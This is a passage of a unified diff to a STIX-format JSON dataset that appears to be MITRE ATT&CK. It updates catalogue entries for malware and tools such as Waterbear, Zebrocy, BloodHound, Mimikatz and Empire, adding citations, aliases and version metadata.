"labels": [ "malware" ], - "modified": "2020-03-30T18:26:35.490Z", + "modified": "2021-01-06T19:32:28.278Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -256785,6 +301730,44 @@ "Jan Miller, CrowdStrike" ] }, + { + "created": "2021-02-22T16:35:33.673Z", + "modified": "2021-04-24T20:33:05.198Z", + "labels": [ + "malware" + ], + "type": "malware", + "external_references": [ + { + "external_id": "S0579", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0579" + }, + { + "source_name": "Waterbear", + "description": "(Citation: Trend Micro Waterbear December 2019)" + }, + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Waterbear", + "description": "[Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)", + "id": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Waterbear" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "external_references": [ { @@ -256861,10 +301844,10 @@ "labels": [ "malware" ], - "modified": "2020-10-09T19:41:25.983Z", + "modified": "2021-03-22T18:45:19.504Z", "created": "2020-09-24T19:39:44.392Z", "x_mitre_contributors": [ - "Daniyal Naeem, @Mrdaniyalnaeem" + "Daniyal Naeem, BT Security" ], "x_mitre_platforms": [ "Windows" @@ -256890,9 +301873,9 @@ "description": "(Citation: Symantec Wiarp May 2012)" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Wiarp May 2012", @@ -256907,7 +301890,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T18:27:31.495Z", + "modified": "2021-01-06T19:32:28.378Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -257390,7 +302373,7 @@ "id": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Zebrocy", - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) ", "external_references": [ { "external_id": "S0251", @@ -257420,6 +302403,11 @@ "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019." }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." + }, { "description": "Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.", "url": "https://www.cyberscoop.com/apt28-brexit-phishing-accenture/", @@ -257438,7 +302426,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T03:06:29.968Z", + "modified": "2021-04-23T19:45:36.003Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_contributors": [ "Emily Ratliff, IBM" @@ -257450,7 +302438,7 @@ "Zebrocy", "Zekapab" ], - "x_mitre_version": "2.1" + "x_mitre_version": "3.0" }, { "id": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", @@ -257731,12 +302719,6 @@ "x_mitre_version": "1.0" }, { - "created": "2017-05-31T21:32:24.937Z", - "modified": "2020-10-16T00:51:36.275Z", - "labels": [ - "malware" - ], - "type": "malware", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -257762,7 +302744,7 @@ }, { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" } ], @@ -257770,7 +302752,13 @@ "name": "gh0st RAT", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", - "x_mitre_version": "2.2", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-23T20:43:13.190Z", + "created": "2017-05-31T21:32:24.937Z", + "x_mitre_version": "2.3", "x_mitre_aliases": [ "gh0st RAT" ], @@ -257952,7 +302940,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -257964,7 +302952,7 @@ "labels": [ "malware" ], - "modified": "2020-06-23T19:55:49.493Z", + "modified": "2021-01-25T15:43:45.842Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "2.1", "x_mitre_aliases": [ @@ -258155,6 +303143,50 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0552", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0552" + }, + { + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." + }, + { + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "source_name": "FireEye FIN6 Apr 2019" + }, + { + "source_name": "FireEye Ryuk and Trickbot January 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "AdFind", + "description": "[AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)", + "id": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", + "type": "tool", + "labels": [ + "tool" + ], + "modified": "2020-12-29T18:04:33.254Z", + "created": "2020-12-28T18:35:50.244Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "AdFind" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "tool--30489451-5886-4c46-90c9-0dff9adc5252", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -258229,6 +303261,50 @@ ], "x_mitre_version": "1.2" }, + { + "id": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "name": "BloodHound", + "description": "[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0521", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0521" + }, + { + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound", + "source_name": "GitHub Bloodhound" + }, + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + }, + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "type": "tool", + "labels": [ + "tool" + ], + "modified": "2020-11-24T20:08:25.559Z", + "created": "2020-10-28T12:51:29.358Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "BloodHound" + ], + "x_mitre_version": "1.0" + }, { "external_references": [ { @@ -258263,6 +303339,40 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0527", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0527" + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)", + "name": "CSPY Downloader", + "id": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "type": "tool", + "labels": [ + "tool" + ], + "modified": "2021-04-22T13:48:19.728Z", + "created": "2020-11-09T14:30:35.202Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "CSPY Downloader" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -258300,39 +303410,46 @@ { "external_references": [ { - "external_id": "S0154", + "external_id": "S0591", "source_name": "mitre-attack", - "url": "https://attack.mitre.org/software/S0154" + "url": "https://attack.mitre.org/software/S0591" }, { - "source_name": "cobaltstrike manual", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + "source_name": "ScreenConnect", + "description": "(Citation: Anomali Static Kitten February 2021)" + }, + { + "source_name": "Anomali Static Kitten February 2021", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "id": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)", + "name": "ConnectWise", + "id": "tool--842976c7-f9c8-41b2-8371-41dc64fbe261", + "type": "tool", + "labels": [ + "tool" + ], + "modified": "2021-03-18T14:54:01.053Z", + "created": "2021-03-18T13:39:27.676Z", "x_mitre_platforms": [ "Windows" ], "x_mitre_aliases": [ - "Cobalt Strike" + "ConnectWise", + "ScreenConnect" ], - "x_mitre_version": "1.5", - "labels": [ - "malware" - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)", - "name": "Cobalt Strike", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "malware", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "created": "2017-12-14T16:46:06.044Z", - "x_mitre_contributors": [ - "Josh Abraham" - ], - "modified": "2020-09-11T13:33:17.392Z" + "x_mitre_version": "1.0" }, { "id": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", @@ -258384,14 +303501,14 @@ "description": "(Citation: Github PowerShell Empire)" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" }, { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" }, { "description": "Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.", @@ -258404,15 +303521,15 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Empire", - "description": "[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)", + "description": "[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)", "id": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "type": "tool", "labels": [ "tool" ], - "modified": "2020-03-30T02:08:26.536Z", + "modified": "2021-04-09T14:53:15.168Z", "created": "2019-03-11T14:13:40.648Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "Empire", "EmPyre", @@ -258599,7 +303716,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -258607,7 +303724,7 @@ "labels": [ "tool" ], - "modified": "2019-04-24T20:32:54.936Z", + "modified": "2021-04-23T20:04:19.262Z", "created": "2017-05-31T21:32:32.011Z", "x_mitre_platforms": [ "Linux", @@ -258617,16 +303734,24 @@ "HTRAN", "HUC Packet Transmit Tool" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { - "id": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Havij", - "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "labels": [ + "tool" ], + "type": "tool", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_aliases": [ + "Havij" + ], + "x_mitre_version": "1.0", "external_references": [ { "source_name": "mitre-attack", @@ -258639,21 +303764,13 @@ "url": "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" } ], - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "Havij" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "type": "tool", - "labels": [ - "tool" - ], - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z" + "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", + "name": "Havij", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5" }, { "external_references": [ @@ -258768,6 +303885,40 @@ "modified": "2018-10-17T00:14:20.652Z", "created": "2018-04-18T17:59:24.739Z" }, + { + "id": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "name": "IronNetInjector", + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021 )", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0581", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0581" + }, + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "type": "tool", + "labels": [ + "tool" + ], + "modified": "2021-04-13T00:20:21.372Z", + "created": "2021-02-24T21:28:44.175Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "IronNetInjector" + ], + "x_mitre_version": "1.0" + }, { "id": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -258839,9 +303990,9 @@ "labels": [ "tool" ], - "modified": "2020-03-25T15:47:20.122Z", + "modified": "2020-11-23T18:34:49.979Z", "created": "2019-01-30T16:44:59.887Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "LaZagne" ], @@ -259000,14 +304151,14 @@ "external_id": "S0002" }, { - "url": "https://github.com/gentilkiwi/mimikatz", + "source_name": "Deply Mimikatz", "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", - "source_name": "Deply Mimikatz" + "url": "https://github.com/gentilkiwi/mimikatz" }, { - "source_name": "Adsecurity Mimikatz Guide", + "url": "https://adsecurity.org/?page_id=1821", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", - "url": "https://adsecurity.org/?page_id=1821" + "source_name": "Adsecurity Mimikatz Guide" } ], "object_marking_refs": [ @@ -259021,9 +304172,9 @@ "labels": [ "tool" ], - "modified": "2020-03-30T17:04:12.674Z", + "modified": "2021-02-09T15:10:55.563Z", "created": "2017-05-31T21:32:11.544Z", - "x_mitre_version": "1.2", + "x_mitre_version": "1.3", "x_mitre_contributors": [ "Vincent Le Toux" ], @@ -259034,11 +304185,65 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0590", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0590" + }, + { + "source_name": "Debian nbtscan Nov 2019", + "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", + "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021." + }, + { + "source_name": "SecTools nbtscan June 2003", + "url": "https://sectools.org/tool/nbtscan/", + "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021." + }, + { + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019." + }, + { + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)", + "name": "NBTscan", + "id": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "type": "tool", + "labels": [ + "tool" + ], + "modified": "2021-04-24T20:45:08.323Z", + "created": "2021-03-17T15:26:20.015Z", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "NBTscan" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ] + }, { "id": "tool--03342581-f790-4f03-ba41-e82e67392e23", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Net", - "description": "The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user.", + "description": "The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user.", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -259063,7 +304268,7 @@ "labels": [ "tool" ], - "modified": "2020-03-19T13:14:50.240Z", + "modified": "2021-04-23T20:17:30.467Z", "created": "2017-05-31T21:32:31.601Z", "x_mitre_contributors": [ "David Ferguson, CyberSponse" @@ -259075,7 +304280,7 @@ "Net", "net.exe" ], - "x_mitre_version": "2.1" + "x_mitre_version": "2.2" }, { "external_references": [ @@ -259111,6 +304316,40 @@ "Windows" ] }, + { + "created": "2021-03-19T13:11:50.666Z", + "modified": "2021-04-26T22:35:19.315Z", + "labels": [ + "tool" + ], + "type": "tool", + "id": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d", + "name": "Out1", + "description": "[Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0594", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0594" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Out1" + ], + "x_mitre_version": "1.0" + }, { "id": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -259202,13 +304441,13 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "PoshC2", - "description": "[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a 